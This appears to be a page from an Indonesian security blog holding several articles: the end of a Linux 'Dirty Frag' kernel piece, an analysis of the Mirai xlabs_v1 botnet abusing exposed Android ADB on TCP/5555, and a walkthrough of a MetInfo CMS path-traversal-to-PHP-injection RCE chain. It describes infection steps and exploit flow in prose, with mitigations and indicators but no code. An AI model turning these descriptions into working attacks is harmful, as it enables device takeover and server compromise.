""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

Mitigasi ini memang mengurangi attack surface, tetapi memiliki konsekuensi operasional:

  • IPSec tertentu dapat berhenti bekerja
  • fitur RxRPC tidak tersedia
  • beberapa workload networking mungkin terdampak
Bagi security engineer, prioritas utama saat ini bukan hanya patching, tetapi visibility.

Hal yang perlu dipantau:

  • penggunaan splice() abnormal
  • namespace creation oleh unprivileged user
  • loading module networking tidak biasa
  • aktivitas local privilege escalation setelah foothold awal
  • proses yang memanfaatkan MSG_SPLICE_PAGES

Dirty Frag kemungkinan bukan vulnerability terakhir dari family ini.

Karena akar masalahnya berada pada interaksi page cache, zero-copy optimization, dan ownership validation, masih sangat mungkin terdapat sink lain di networking stack Linux yang belum ditemukan.

Dan itu yang membuat vulnerability class seperti Dirty Frag jauh lebih penting dibanding sekadar satu CVE individual: ia membuka pola eksploitasi baru terhadap kernel modern.

Benediktus Sava – Security Researcher

Sumber:

Github

Openwall

Copy Fail - Ethical Hacking Indonesia

Analisa Mirai xlabs_v1 dan Eksploitasi ADB Android - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 07, 2026 Comment

Botnet Mirai tidak pernah benar-benar mati. Tetapi mengalami evolusi mengikuti permukaan serangan baru yang dianggap normal oleh pengguna rumahan. Pada kasus xlabs_v1, evolusi tersebut terlihat jelas: operator tidak lagi fokus pada DVR murah atau router lawas seperti generasi Mirai awal, tetapi mulai memonetisasi ekosistem Android dan IoT modern yang secara tidak sadar mengekspos Android Debug Bridge (ADB) ke internet melalui TCP/5555.

Baca Juga Tentang: Apa itu Mirai Botnet?

Permasalahan utamanya bukan hanya keberadaan ADB yang terbuka. Banyak vendor Android TV box, STB, smart TV, dan firmware IoT murah mengirim perangkat dengan debugging aktif secara default atau dengan implementasi ADB yang lemah. Dalam praktiknya, perangkat ini sering berada di belakang NAT rumah tangga dengan bandwidth besar seperti fiber 100–500 Mbps. Dari perspektif operator DDoS-for-hire, perangkat seperti ini jauh lebih bernilai dibanding router DSL era lama karena throughput upstream jauh lebih tinggi dan uptime cenderung stabil.

Baca Juga Tentang: Android Debug Bridge

xlabs_v1 memanfaatkan kondisi tersebut secara agresif. Begitu menemukan host dengan TCP/5555 terbuka, operator mengirim payload shell sederhana melalui ADB untuk menurunkan binary bot sesuai arsitektur target. Ini menjelaskan mengapa mereka menyediakan build ARM, MIPS, PowerPC, hingga x86-64. Strategi multi-arsitektur seperti ini merupakan karakteristik khas ekosistem Mirai modern: tujuan utamanya bukan sophistication, tetapi coverage maksimal terhadap fragmentasi perangkat IoT.

Baca Juga Tentang: ELF (Executable and Linkable Format)  Binary

Yang menarik, bot ini tidak didesain sebagai malware multifungsi. Tidak ada credential theft, ransomware, ataupun spyware. Secara operasional, seluruh arsitektur diarahkan untuk satu tujuan komersial: menghasilkan trafik DDoS yang dapat dijual. Dari sisi tradecraft kriminal, keputusan ini masuk akal. Menambahkan fitur pencurian data hanya meningkatkan noise, forensic footprint, dan risiko deteksi tanpa meningkatkan profit utama operator.

Secara teknis, salah satu indikator bahwa operasi ini bersifat komersial adalah adanya bandwidth profiling subsystem. Ketika menerima opcode tertentu dari C2, bot membuka 8.192 koneksi TCP paralel ke server Speedtest terdekat dan mengukur throughput upstream selama sekitar 10 detik. Hasil Mbps kemudian dikirim kembali ke panel operator.

Speed Test - Ethical Hacking Indonesia

Ini bukan sekadar fitur diagnostik. Ini adalah mekanisme pricing engine. Operator mengelompokkan bot berdasarkan kapasitas bandwidth sehingga Android TV box dengan koneksi fiber 500 Mbps memiliki “nilai sewa” lebih tinggi dibanding perangkat DSL 20 Mbps. Dalam konteks underground DDoS market, ini menunjukkan xlabs_v1 diperlakukan layaknya inventory komersial, bukan sekadar malware eksperimental.

Arsitektur command-and-control mereka juga cukup menarik. Banyak botnet kecil masih menggunakan komunikasi plaintext sederhana tanpa redundansi. xlabs_v1 sedikit lebih matang. Mereka menggunakan OpenNIC-aware DNS resolution sebelum fallback ke resolver sistem biasa. Artinya, ketika domain .lol diblokir resolver ICANN normal, bot masih bisa mendapatkan resolusi melalui root alternatif OpenNIC.

Baca Juga Tentang: DNS (Domain Name System) Abuse

Selain itu, ketika outbound C2 gagal, bot membuka listener fallback pada TCP/26721 dan menambahkan aturan iptables untuk memastikan port tersebut tetap dapat diakses. Secara praktis, ini mengubah korban menjadi semacam reverse-entry node yang bisa diakses operator kapan saja. Ini bukan persistence tradisional seperti systemd service atau cronjob, tetapi persistence berbasis reinfection dan re-entry network path.

Di sinilah implikasi defensifnya menjadi lebih serius. Banyak organisasi menganggap reboot perangkat IoT sudah cukup untuk membersihkan malware volatile. Pada xlabs_v1, asumsi itu tidak selalu efektif. Jika ADB masih terekspos, operator dapat menginfeksi ulang perangkat dalam hitungan menit menggunakan automation script yang sama.

Dari sisi exploit chain, mekanismenya sebenarnya cukup sederhana tetapi efektif karena memanfaatkan miskonfigurasi massal. Skenario realistisnya seperti berikut:

Seorang pengguna rumahan membeli Android TV box murah yang secara default mengaktifkan ADB over TCP. Perangkat tersebut terhubung langsung ke ISP fiber rumahan tanpa firewall inbound yang memadai. Operator botnet melakukan scanning internet untuk TCP/5555 terbuka, kemudian mengirim payload shell melalui ADB yang men-download binary ARM7 ke /data/local/tmp/arm7, mengubah permission menjadi executable, lalu menjalankannya secara background.

Begitu aktif, bot akan:

  • menyamarkan proses menjadi /bin/bash,
  • mematikan proses malware pesaing,
  • melakukan registrasi ke C2,
  • melaporkan resource sistem,
  • menunggu opcode serangan.

Ketika pelanggan DDoS-for-hire memesan serangan terhadap server Minecraft, operator cukup mengirim opcode flood tertentu ke seluruh bot aktif. Karena banyak perangkat korban berada di jaringan fiber rumahan dengan bandwidth besar, total flood traffic yang dihasilkan bisa sangat signifikan.

Baca Juga Tentang: Mekanisme Layer 7 DDoS

Fokus terhadap Minecraft dan game server bukan kebetulan. xlabs_v1 memiliki implementasi flood berbasis RakNet serta varian UDP yang dirancang menyerupai trafik OpenVPN untuk melewati mitigasi DDoS consumer-grade. Ini menunjukkan operator memahami pola filtering umum yang digunakan hosting murah dan proteksi anti-DDoS entry-level.

Secara arsitektural, pendekatan ini lebih dekat ke “application-aware DDoS tooling” dibanding Mirai klasik yang hanya mengandalkan SYN flood generik. Bahkan terdapat raw TCP variant yang menggunakan template HTTP tertentu untuk melewati proteksi Layer-7 sederhana.

Ada detail lain yang cukup penting bagi defender: subsystem pembunuh kompetitor. Bot melakukan enumerasi /proc/, mencari proses lain yang memegang socket aktif, lalu melakukan SIGSTOP dan SIGKILL. Mereka bahkan secara spesifik menargetkan port TCP/24936 yang diasosiasikan dengan rival botnet tertentu.

Subsystem Killer - Ethical Hacking Indonesia

Ini menunjukkan ekosistem botnet IoT saat ini tidak hanya tentang menyerang korban akhir, tetapi juga perang antar operator malware untuk memperebutkan bandwidth perangkat yang sama. Dalam praktik incident response, hilangnya proses pada port tertentu secara mendadak setelah aktivitas ADB mencurigakan dapat menjadi indikator kompromi xlabs_v1.

Walaupun operator mencoba menerapkan obfuscation menggunakan ChaCha20 string table, implementasinya lemah. Mereka menggunakan nonce reuse dan key reuse yang memungkinkan peneliti melakukan recovery string melalui known-plaintext analysis. Dari sinilah identitas seperti xlabs_v1, Tadashi, hingga authentication token berhasil dipulihkan.

Baca Juga Tentang: Reverse Engineering Malware

Kesalahan desain semacam ini sering terjadi pada malware “mid-tier”. Operator memahami konsep cryptography tetapi gagal menerapkannya dengan benar. Ini juga terlihat dari fakta bahwa development build non-stripped sempat terekspos di staging server publik bersama payload, proxy credentials, dan target list.

Dalam dunia operasi malware profesional, kesalahan operational security seperti ini sangat mahal karena memungkinkan peneliti memetakan keseluruhan infrastruktur hanya dari satu exposed directory listing.

Konteks yang lebih luas dari kasus ini sebenarnya berkaitan dengan industrialisasi DDoS-as-a-Service berbasis IoT. Dulu, botnet IoT identik dengan perangkat murah berbandwidth rendah. Sekarang, perangkat Android dan smart home berbasis fiber menjadi “high-bandwidth commodity nodes”. Perubahan ini membuat kapasitas serangan meningkat drastis tanpa perlu kompromi server enterprise.

Bagi pentester dan security engineer, ada beberapa insight defensif penting dari operasi xlabs_v1:

Pertama, ADB over TCP seharusnya diperlakukan seperti remote shell exposure, bukan sekadar fitur debugging. Banyak organisasi masih menganggap TCP/5555 berisiko rendah dibanding SSH atau RDP, padahal secara praktis ia memberikan remote execution path penuh.

Kedua, monitoring outbound traffic jauh lebih penting dibanding hanya inbound detection. Botnet ini menggunakan komunikasi plaintext TCP/35342 dan melakukan koneksi abnormal besar ke Speedtest infrastructure. Aktivitas seperti ribuan koneksi simultan ke domain speedtest merupakan behavioral IOC yang jauh lebih stabil dibanding hash file.

Ketiga, environment IoT dan Android enterprise perlu visibility terhadap proses ephemeral. xlabs_v1 sengaja menghapus jejak argv dan melakukan masquerade /bin/bash agar lolos inspeksi administratif sederhana. Defender yang hanya mengandalkan ps aux berpotensi melewatkan proses aktif.

Mitigasi paling efektif tetap berada di layer exposure reduction. Nonaktifkan ADB over TCP jika tidak diperlukan, blok akses inbound TCP/5555 dari internet, segmentasikan perangkat IoT dari jaringan utama, dan monitor perangkat Android embedded seperti smart TV atau STB sebagaimana endpoint biasa.

Baca Juga Tentang: Threat Hunting

Kasus xlabs_v1 mengingatkan bahwa batas antara “consumer electronics” dan “attack infrastructure” kini semakin tipis. Dalam banyak rumah dan kantor kecil, Android TV box murah sebenarnya sudah memiliki bandwidth yang cukup untuk menjadi node DDoS bernilai tinggi. Operator botnet memahami hal itu jauh lebih cepat dibanding sebagian besar pengguna maupun vendor perangkat.

Benediktus Sava – Security Researcher

Sumber:

Hunt-Io

Android-Com

CloudFlare

MetInfo RCE Chain: Path Traversal ke PHP Code Injection - Ethical Hacking Indonesia

Ethical Hacking Indonesia Mei 06, 2026 Comment
Meltinfo CMD - Ethical Hacking Indonesia

Kerentanan pada MetInfo CMS versi 7.9 hingga 8.1 input tidak disanitasi tetapi secara teknis jauh lebih dalam. Ia menggabungkan tiga elemen yang biasanya dianggap “aman” jika berdiri sendiri: endpoint API (WeChat), mekanisme cache berbasis file, dan parsing string PHP. Ketika ketiganya bertemu dalam satu execution path, hasilnya adalah unauthenticated remote code execution.

Masalah dimulai dari method "weixinreply::wxAdminLogin()" yang memproses request XML dari integrasi WeChat. Dua field, "EventKey" dan "FromUserName", langsung digunakan tanpa validasi ketat. "EventKey" dipakai sebagai parameter "$code" dalam "cache::get()", sementara "FromUserName" disimpan melalui "cache::put()". Secara desain, ini tampak seperti alur caching biasa, tetapi implementasinya membuka celah serius.

wxAdminLogin - Ethical Hacking Indonesia

Ketika "$code" dapat dikontrol attacker, ia bisa menyisipkan path traversal untuk memanipulasi file yang di-include oleh "cache::get()". Di titik ini, tujuan attacker bukan hanya membaca file, melainkan mengubah state aplikasi. Dengan memaksa hasil tertentu misalnya string "Array" attacker mengarahkan flow ke penulisan file cache baru dengan nama yang bisa diprediksi: "/cache/weixin/Array.php"

Tahap berikutnya adalah inti dari eksploitasi. Nilai "FromUserName" ditulis ke dalam file tersebut dalam konteks string PHP. Di sinilah fitur yang jarang disadari developer menjadi senjata: complex curly syntax dalam PHP memungkinkan evaluasi ekspresi di dalam string. Artinya, input yang tampak seperti teks biasa bisa berubah menjadi kode yang dieksekusi saat file di-include. Ketika file cache itu dipanggil kembali oleh sistem, payload langsung berjalan tanpa hambatan.

FromUserName - Ethical Hacking Indonesia

Skenario eksploitasi di dunia nyata tidak membutuhkan kondisi yang rumit. Target yang menggunakan plugin WeChat secara default sudah memiliki direktori "/cache/weixin/". Attacker hanya perlu mengirim request XML crafted ke endpoint webhook. Request pertama bertujuan menulis file berisi payload, dan request berikutnya (atau bahkan alur internal yang sama) memicu include file tersebut. Dalam hitungan detik, attacker bisa mendapatkan eksekusi perintah di server, biasanya dilanjutkan dengan drop web shell untuk persistensi.

Dampaknya langsung berada pada level kompromi penuh. Begitu RCE tercapai, batas antara aplikasi dan sistem operasi praktis hilang. Database dapat diakses, konfigurasi dapat diubah, dan sistem bisa dijadikan pivot ke jaringan internal. Dalam konteks yang lebih luas, ini bukan  saja   bug aplikasi, tetapi juga potensi titik masuk untuk serangan supply chain jika CMS digunakan secara luas oleh banyak situs.

Baca Juga Tentang: Remote Code Exceution (RCE)

Yang menarik dari kasus ini adalah bagaimana lapisan cache berubah menjadi attack surface. Banyak sistem menganggap cache sebagai komponen pasif, padahal ketika cache disimpan sebagai file ".php" dan di-include kembali, ia secara efektif menjadi bagian dari runtime execution. Ditambah lagi, endpoint seperti webhook sering diasumsikan “trusted” sehingga jarang mendapat validasi ketat, padahal justru menjadi pintu masuk tanpa autentikasi.

Mitigasi yang efektif harus langsung memutus rantai eksploitasi ini. Validasi input perlu berbasis whitelist dan menolak karakter traversal sejak awal. Lebih penting lagi, mekanisme cache seharusnya tidak pernah menggunakan format executable seperti ".php;" menyimpannya sebagai data (misalnya JSON) sudah cukup untuk kebutuhan caching tanpa membuka risiko eksekusi. Di sisi lain, penggunaan dynamic include berbasis input harus dihindari sepenuhnya. Patch dari vendor memang wajib diterapkan, tetapi tanpa perubahan pola desain seperti ini, risiko serupa akan terus muncul di tempat lain.

Bagi praktisi keamanan, ini contoh jelas bahwa kerentanan kritis sering bukan berasal dari satu bug besar, melainkan dari interaksi beberapa komponen kecil yang masing-masing terlihat “normal”. Ketika boundary antar layer tidak dijaga dengan ketat, sistem akan menciptakan jalur eksekusi yang bahkan tidak disadari oleh developernya sendiri.

Benediktus Sava – Security Researcher

Sumber:

Karmain Security